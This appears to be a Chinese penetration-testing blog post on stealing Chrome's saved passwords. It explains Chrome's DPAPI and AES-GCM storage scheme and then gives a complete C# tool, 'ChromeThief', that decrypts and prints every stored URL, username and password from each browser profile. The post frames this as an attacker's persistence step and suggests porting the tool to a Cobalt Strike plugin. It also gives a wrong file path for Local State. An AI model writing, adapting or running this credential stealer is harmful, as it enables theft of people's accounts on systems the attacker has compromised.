渗透取证 -- Chrome浏览器密码凭据窃取和C#实现
文前漫谈
权限维持的重要步骤,抓密码。本文通过对Windows DPAPI的基本认识和chrome密码加密机制的理解基础上,编写C#代码实现对chrome浏览器密码的解密
实际利用下,最好是通过go,c/c++这种改写或者编到cs的插件中,基于.net平台还是有点麻烦,得准备两三个版本。
Chrome的加密过程
- 将用户保存的账户密码使用AES GCM加密
- 将AES加密密钥通过Windows DPAPI加密保存在名为Local State的文件中,文件以json格式存储。
- 将初始化向量与密文连接起来,并将它们保存在名为Login Data的文件中,文件以sqlite数据库形式存储。
Local State——加密密钥存放的位置
%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Login Data
文件以json格式储存,encrypted_key 的值就是Windows dpapi加密过后的AES密钥
Login Data——密文存放的位置
Sqlite3数据库
%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\Login Data
数据库结构,我们需要注意的几个字段的值
origin_url: 起始url
action_url: form表单提交的地址
username_value 用户名字段
password_value 密码字段
origin_url和action_url的选择需要注意,有时候用户手动添加的账户密码没有action_url字段的值。
AES-解密过程
AES-GCM解密不仅需要密钥,还需要偏移量。我们从Local Data数据库提取我们需要的字段,ciphey的值是密码AES加密后的值
它包含了两个重要的值:
- Initialization vector (初始化向量)
- Encrypted passwords (加密后的密码)
用python代码解释这两者的位置,
initialisation_vector = ciphertext[3:15]
encrypted_password = ciphertext[15:-16]
按照上面的流程实现代码如下
C# 代码实现
为什么用C#?
刚开始想写个powershell的脚本调用的,但是实战装库等情况复杂。可能还是类C的实现实用
using System;
using System.Text;
using System.IO;
using System.Data.SQLite;
using System.Linq;
using Org.BouncyCastle.Crypto.Engines;
using Org.BouncyCastle.Crypto.Modes;
using Org.BouncyCastle.Crypto.Parameters;
using System.Security.Cryptography;
namespace ChromeThief
{
class Program
{
// GLOBAL CONSTANT
private static readonly string CHROME_PATH_LOCAL_STATE = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Google\Chrome\User Data\Local State");
private static readonly string CHROME_PATH = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Google\Chrome\User Data");
private static String DecryptPassword(byte[] encryptedPassword, byte[] iv, byte[] secretKey)
{
string sR = string.Empty;
try
{
GcmBlockCipher cipher = new GcmBlockCipher(new AesEngine());
AeadParameters parameters = new AeadParameters(new KeyParameter(secretKey), 128, iv, null);
cipher.Init(false, parameters);
byte[] plainBytes = new byte[cipher.GetOutputSize(encryptedPassword.Length)];
Int32 retLen = cipher.ProcessBytes(encryptedPassword, 0, encryptedPassword.Length, plainBytes, 0);
cipher.DoFinal(plainBytes, retLen);
sR = Encoding.UTF8.GetString(plainBytes).TrimEnd("\r\n\0".ToCharArray());
//Console.WriteLine(sR);
return sR;
}
catch (Exception e)
{
Console.WriteLine($"{e.Message}");
Console.WriteLine("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.");
return null;
}
}
private static byte[] GetSecretKey()
{
try
{
// Get secretkey from chrome local state
var localState = File.ReadAllText(CHROME_PATH_LOCAL_STATE);
dynamic json = Newtonsoft.Json.JsonConvert.DeserializeObject(localState);
String key = json.os_crypt.encrypted_key;
byte[] encryptedKeyBytes = Convert.FromBase64String(key);
//Console.WriteLine(encryptedKeyBytes);
byte[] encryptedKey = new byte[encryptedKeyBytes.Length - 5];
Array.Copy(encryptedKeyBytes, 5, encryptedKey, 0, encryptedKey.Length);
byte[] secretKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.LocalMachine);
//Console.WriteLine(BitConverter.ToString(secretKey));
return secretKey;
}
catch (Exception e)
{
Console.WriteLine($"{e.Message}");
Console.WriteLine("[ERR] Chrome secretkey cannot be found");
return null;
}
}
static void Main(string[] args)
{
//Console.WriteLine(CHROME_PATH_LOCAL_STATE);
//Console.WriteLine(CHROME_PATH);
var folders = Directory.GetDirectories(CHROME_PATH, "Profile*").Union(Directory.GetDirectories(CHROME_PATH, "Default"));
var secretKey = GetSecretKey();
//C: \Users\86176\AppData\Local\Google\Chrome\User Data\Default
foreach (var folder in folders)
{
//Console.WriteLine(folder);
var chromePathLoginDb = Path.Combine(folder, "Login Data");
string connectionString = String.Format("Data Source={0};Version=3;", chromePathLoginDb);
var conn = new SQLiteConnection(connectionString);
conn.Open();
SQLiteCommand cmd = new SQLiteCommand("SELECT origin_url, username_value, password_value FROM logins", conn);
var reader = cmd.ExecuteReader();
while (reader.Read())
{
var url = reader.GetString(0);
var username = reader.GetString(1);
var ciphertext = (byte[])reader.GetValue(2);
//Console.WriteLine(ciphertext);
if (!string.IsNullOrEmpty(url) && !string.IsNullOrEmpty(username) && ciphertext != null)
{
// Filter the initialisation vector & encrypted password from ciphertext
//byte[] iv = new byte[12];
//Array.Copy(ciphertext, 3, iv, 0, 12);
////System.Array.Copy(encryptedData, 3 + iv.Length, ciphertextTag, 0, ciphertextTag.Length);
//byte[] encryptedPassword = new byte[ciphertext.Length - 15 - 16];
//Array.Copy(ciphertext, 15, encryptedPassword, 0, ciphertext.Length - 15 - 16);
byte[] iv = new byte[12];
byte[] ciphertextTag = new byte[ciphertext.Length - 3 - iv.Length];
System.Array.Copy(ciphertext, 3, iv, 0, iv.Length);
System.Array.Copy(ciphertext, 3 + iv.Length, ciphertextTag, 0, ciphertextTag.Length);
// Use AES algorithm to decrypt the password
Console.WriteLine($"URL: {url}\nUser Name: {username}");
var decryptedPassword = DecryptPassword(ciphertextTag, iv, secretKey);
Console.WriteLine($"Password: {decryptedPassword}\n");
}
}
}
}
}
}